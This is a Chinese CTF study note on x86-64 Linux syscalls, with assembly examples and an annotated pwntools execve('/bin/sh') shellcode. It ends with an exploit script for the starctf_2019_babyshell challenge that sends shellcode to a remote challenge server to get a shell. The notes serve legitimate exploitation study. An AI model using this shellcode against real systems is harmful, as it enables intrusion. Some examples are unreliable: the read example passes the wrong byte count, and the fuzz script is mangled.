syscall
在AMD64架构(也称为x86-64或x64)下,使用 syscall
指令来进行系统调用的约定如下:
- 系统调用号:存储在
RAX
寄存器中。 - 参数传递:
- 第一个参数:
RDI
- 第二个参数:
RSI
- 第三个参数:
RDX
- 第四个参数:
R10
- 第五个参数:
R8
- 第六个参数:
R9
- 第一个参数:
- 返回值:系统调用的返回值存储在
RAX
寄存器中。 - 调用约定:
- 调用
syscall
指令之前,需要将系统调用号和参数传递到相应的寄存器。 - 调用
syscall
指令后,返回值会存储在RAX
寄存器中。 RCX
和R11
寄存器的值会被syscall
指令破坏,因此调用者需要保存这两个寄存器的值(如果需要)。
- 调用
execve
execve
的原型如下:
int execve(const char *filename, char *const argv[], char *const envp[]);
filename
:要执行的文件名(路径)。argv
:一个字符串数组,包含传递给程序的命令行参数。数组的最后一个元素必须是NULL
。envp
:一个字符串数组,包含环境变量。数组的最后一个元素也必须是NULL
。
section .data
filename db '/bin/ls', 0 ; 要执行的程序
argv db '/bin/ls', 0 ; argv[0]
db '-l', 0 ; argv[1]
db 0 ; argv数组结束
envp db 0 ; 环境变量数组结束
section .text
global _start
_start:
; 设置参数
mov rax, 59 ; syscall: execve (59)
mov rdi, filename ; filename
mov rsi, argv ; argv
mov rdx, envp ; envp
syscall ; 调用内核
; 如果 execve 失败
mov rax, 60 ; syscall: exit (60)
xor rdi, rdi ; exit code 0
syscall ; 调用内核
open
open
系统调用用于打开文件并返回一个文件描述符。其原型如下:
int open(const char *pathname, int flags, mode_t mode);
主要参数
pathname
:要打开的文件的路径。flags
:打开文件的标志,例如O_RDONLY
,O_WRONLY
,O_RDWR
等。mode
:文件的访问权限(在创建文件时使用),通常与flags
一起传递。对于只读或只写操作,可以传递0
。
在 x86-64 Linux 中,open
的系统调用号是 2
。
下面是一个用汇编语言编写的示例,展示如何在 x86-64 Linux 中使用 syscall
调用 open
。
section .data
filename db '/tmp/testfile.txt', 0 ; 要打开的文件名
flags db 0x0 ; O_RDONLY
mode db 0 ; 只读模式,不需要
section .text
global _start
_start:
; 设置参数
mov rax, 2 ; syscall: open (2)
mov rdi, filename ; pathname
mov rsi, 0 ; flags: O_RDONLY
mov rdx, 0 ; mode: 不使用
syscall ; 调用内核
; 返回值在 rax 中,检查是否成功
test rax, rax ; 检查文件描述符是否有效
js open_failed ; 如果 rax < 0,跳转到失败处理
; 这里可以继续使用打开的文件描述符
; 例如,使用它进行读取等操作
; 关闭文件描述符
mov rdi, rax ; 将文件描述符移动到 rdi
mov rax, 3 ; syscall: close (3)
syscall ; 调用内核
; 正常退出
mov rax, 60 ; syscall: exit (60)
xor rdi, rdi ; exit code 0
syscall ; 调用内核
open_failed:
; 处理打开文件失败的情况
mov rax, 60 ; syscall: exit (60)
mov rdi, 1 ; exit code 1
syscall ; 调用内核
read
在 x86-64 架构下,使用 syscall
指令进行 read
系统调用的步骤与其他系统调用类似。read
系统调用用于从文件描述符中读取数据。其原型如下:
ssize_t read(int fd, void *buf, size_t count);
主要参数
fd
:文件描述符,从中读取数据。buf
:指向用于存储读取数据的缓冲区的指针。count
:要读取的字节数。
在 x86-64 Linux 中,read
的系统调用号是 0
。
section .bss
buffer resb 128 ; 为输入缓冲区分配128字节
section .text
global _start
_start:
; 从标准输入读取数据
mov rax, 0 ; syscall: read (0)
mov rdi, 0 ; fd: 0 (stdin)
mov rsi, buffer ; buf: 指向输入缓冲区
mov rdx, 128 ; count: 要读取的字节数
syscall ; 调用内核
; 将读取的数据写入到标准输出
mov rax, 1 ; syscall: write (1)
mov rdi, 1 ; fd: 1 (stdout)
mov rsi, buffer ; buf: 指向输入缓冲区
mov rdx, rax ; count: 使用上一个 sysread 返回的字节数
syscall ; 调用内核
; 正常退出
mov rax, 60 ; syscall: exit (60)
xor rdi, rdi ; exit code 0
syscall ; 调用内核
write
在 x86-64 架构下,使用 syscall
指令进行 write
系统调用的步骤与其他系统调用类似。write
系统调用用于向文件描述符中写入数据。其原型如下:
ssize_t write(int fd, const void *buf, size_t count);
主要参数
fd
:文件描述符,指定要写入的文件。buf
:指向要写入的数据的指针。count
:要写入的字节数。
在 x86-64 Linux 中,write
的系统调用号是 1
。
section .data
message db 'Hello, world!', 0xA ; 要写入的消息,0xA 是换行符
message_len equ $ - message ; 计算消息的长度
section .text
global _start
_start:
; 设置参数
mov rax, 1 ; syscall: write (1)
mov rdi, 1 ; fd: 1 (stdout)
mov rsi, message ; buf: 指向要写入的消息
mov rdx, message_len ; count: 消息的长度
syscall ; 调用内核
; 正常退出
mov rax, 60 ; syscall: exit (60)
xor rdi, rdi ; exit code 0
syscall ; 调用内核
pwntools 提供的标准 execve shellcod
/* execve(path='/bin///sh', argv=['sh'], envp=0) */
/* push b'/bin///sh\x00' */
push 0x68
mov rax, 0x732f2f2f6e69622f
push rax
mov rdi, rsp
/* push argument array ['sh\x00'] */
/* push b'sh\x00' */
push 0x1010101 ^ 0x6873
xor dword ptr [rsp], 0x1010101
xor esi, esi /* 0 */
push rsi /* null terminate */
push 8
pop rsi
add rsi, rsp
push rsi /* 'sh\x00' */
mov rsi, rsp
xor edx, edx /* 0 */
/* call execve() */
push SYS_execve /* 0x3b */
pop rax
syscall
1. 准备路径字符串 /bin///sh
:
/* push b'/bin///sh\x00' */
push 0x68
mov rax, 0x732f2f2f6e69622f
push rax
mov rdi, rsp
mov rax, 0x732f2f2f6e69622f
:将/bin///sh
的字节表示0x732f2f2f6e69622f
加载到rax
寄存器中。这个 64 位值包含了字符串/bin///sh
。由于在路径中有多个连续的/
,这并不影响路径的正确性,Linux 会将多个/
视为一个。push rax
:将rax
中的字符串压入栈中。mov rdi, rsp
:将栈顶的地址(即/bin///sh
字符串的地址)存入rdi
寄存器。rdi
寄存器是execve
系统调用的第一个参数,它指向要执行的文件路径。
2. 准备参数数组 ['sh']
:
/* push argument array ['sh\x00'] */
push 0x1010101 ^ 0x6873
xor dword ptr [rsp], 0x1010101
push 0x1010101 ^ 0x6873
:这行代码是为了构建字符串'sh\x00'
。0x6873
是'sh'
的 ASCII 码(在小端序下是0x7368
)。通过异或运算0x1010101 ^ 0x6873
生成一个特定的字节值。xor dword ptr [rsp], 0x1010101
:接下来,它通过异或运算将'sh\x00'
写入栈中,确保栈上的数据最终形成一个 null 终止的字符串'sh\x00'
。
3. 添加空指针作为参数的结束标志:
xor esi, esi /* 0 */
push rsi /* null terminate */
xor esi, esi
:将esi
寄存器清零,esi
现在为0
。push rsi
:将0
(即NULL
)推入栈中,表示参数数组的结束(argv
数组的最后一个元素是NULL
,表示没有更多的参数)。
4. 设置 argv
数组的地址:
push 8
pop rsi
add rsi, rsp
push rsi /* 'sh\x00' */
mov rsi, rsp
push 8
:将8
压入栈中,它是参数数组的长度(即'sh\x00'
字符串占 8 字节)。pop rsi
:将 8 从栈中弹出并存入rsi
寄存器。add rsi, rsp
:将rsi
设置为栈顶加上偏移量 8,实际上是指向参数数组的地址(即'sh\x00'
字符串的地址)。push rsi
:将参数数组的地址压入栈中。mov rsi, rsp
:将栈顶的地址(即argv
数组的地址)存入rsi
寄存器,rsi
作为execve
的第二个参数。
5. 清空 envp
(环境变量):
xor edx, edx /* 0 */
xor edx, edx
:将edx
清零,表示envp
为NULL
,即不传递任何环境变量给新的进程。
6. 调用 execve
:
/* call execve() */
push SYS_execve /* 0x3b */
pop rax
syscall
push SYS_execve
:将execve
系统调用的编号(0x3b,或 59)压入栈中。pop rax
:将系统调用号(0x3b)弹出到rax
寄存器,rax
是syscall
指令的调用号寄存器。syscall
:触发系统调用。此时,rax
寄存器保存的是execve
系统调用的编号,rdi
存储的是要执行的路径/bin///sh
,rsi
存储的是参数数组['sh']
,rdx
存储的是环境变量(此处为NULL
)。
shellcode滑板
这些特殊的机器码能在特定情况发挥作用
00 40 00 add BYTE PTR [rax+0x0], al
00 41 00 add BYTE PTR [rcx+0x0], al
00 42 00 add BYTE PTR [rdx+0x0], al
00 43 00 add BYTE PTR [rbx+0x0], al
00 45 00 add BYTE PTR [rbp+0x0], al
00 46 00 add BYTE PTR [rsi+0x0], al
00 47 00 add BYTE PTR [rdi+0x0], al
考虑以下代码starctf_2019_babyshell
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
_BYTE *buf; // [rsp+0h] [rbp-10h]
sub_4007F8(a1, a2, a3);
buf = mmap(0LL, 0x1000uLL, 7, 34, 0, 0LL);
puts("give me shellcode, plz:");
read(0, buf, 0x200uLL);
if ( !(unsigned int)sub_400786(buf) )
{
printf("wrong shellcode!");
exit(0);
}
((void (*)(void))buf)();
return 0LL;
}
__int64 __fastcall sub_400786(_BYTE *a1)
{
char *i; // [rsp+18h] [rbp-10h]
while ( *a1 )
{
for ( i = &byte_400978; *i && *i != *a1; ++i )
;
if ( !*i )
return 0LL;
++a1;
}
return 1LL;
}
from pwn import *
io = remote('node5.buuoj.cn', 29104)
context(arch='amd64', os='linux', log_level='debug')
shellcode = asm(shellcraft.sh())
shellcode = b'\x00\x5a\x00' + shellcode
io.sendline(shellcode)
io.interactive()
仅白名单/存在黑名单编写 shell code
提取byte_400978获得允许列表
[0x5A, 0x5A, 0x4A, 0x20, 0x6C, 0x6F, 0x76, 0x65, 0x73, 0x20, 0x73, 0x68, 0x65, 0x6C, 0x6C, 0x5F, 0x63, 0x6F, 0x64, 0x65, 0x2C, 0x61, 0x6E, 0x64, 0x20, 0x68, 0x65, 0x72, 0x65, 0x20, 0x69, 0x73, 0x20, 0x61, 0x20, 0x67, 0x69, 0x66, 0x74, 0x3A, 0x0F, 0x05, 0x20, 0x65, 0x6E, 0x6A, 0x6F, 0x79, 0x20, 0x69, 0x74, 0x21, 0x0A]
编写fuzz查看被禁止的语句
from pwn import *
# 设置架构为 amd64context.arch = 'amd64'
# 定义允许的字节列表
allow_list = [
0x5A, 0x5A, 0x4A, 0x20, 0x6C, 0x6F, 0x76, 0x65, 0x73, 0x20,
0x73, 0x68, 0x65, 0x6C, 0x6C, 0x5F, 0x63, 0x6F, 0x64, 0x65,
0x2C, 0x61, 0x6E, 0x64, 0x20, 0x68, 0x65, 0x72, 0x65, 0x20,
0x69, 0x73, 0x20, 0x61, 0x20, 0x67, 0x69, 0x66, 0x74, 0x3A,
0x0F, 0x05, 0x20, 0x65, 0x6E, 0x6A, 0x6F, 0x79, 0x20, 0x69,
0x74, 0x21, 0x0A
]
# 将 allow_list 中的每个字节转换为字节对象
for i in range(len(allow_list)):
allow_list[i] = allow_list[i].to_bytes(1, byteorder='little')
# 打印 allow_list 内容
print(allow_list)
# 定义原始 shellcode 字符串
shellcode = """
push 0x68
mov rax, 0x732f2f2f6e69622f
push rax
mov rdi, rsp
push 0x1010101 ^ 0x6873
xor dword ptr [rsp], 0x1010101
xor esi, esi
push rsi
push 8
pop rsi
add rsi, rsp
push rsi
mov rsi, rsp
xor edx, edx
push SYS_execve
pop rax
syscall
"""
# 删除注释并拆为多行
shellcode = shellcode.splitlines()
# 检查所有字节码是否在允许名单中, 如果不在则输出
for i in range(1, len(shellcode)): # 从第1行开始,因为第0行是空的
# 将 shellcode 中的每行汇编代码转为机器码(字节码)
cmp = asm(shellcode[i])
# 对每个字节码进行检查
for f in cmp:
all_pass = True
found = False # 标记是否找到了符合要求的字节
for j in allow_list:
if f == j: # 如果字节在允许列表中
found = True
break if not found: # 如果字节不在允许列表中,输出该字节
all_pass = False
print(f"\033[91m{shellcode[i]}语句中的 字节 {hex(f)} 不在允许名单中.\033[0m")
if all_pass is True:
print(f'\033[92m{shellcode[i]} 语句通过\033[0m')
成功得到一片红(思路错了我以为这是手写shellcode,先这部分先搁置,等遇到题再写,这道题是遇0停止)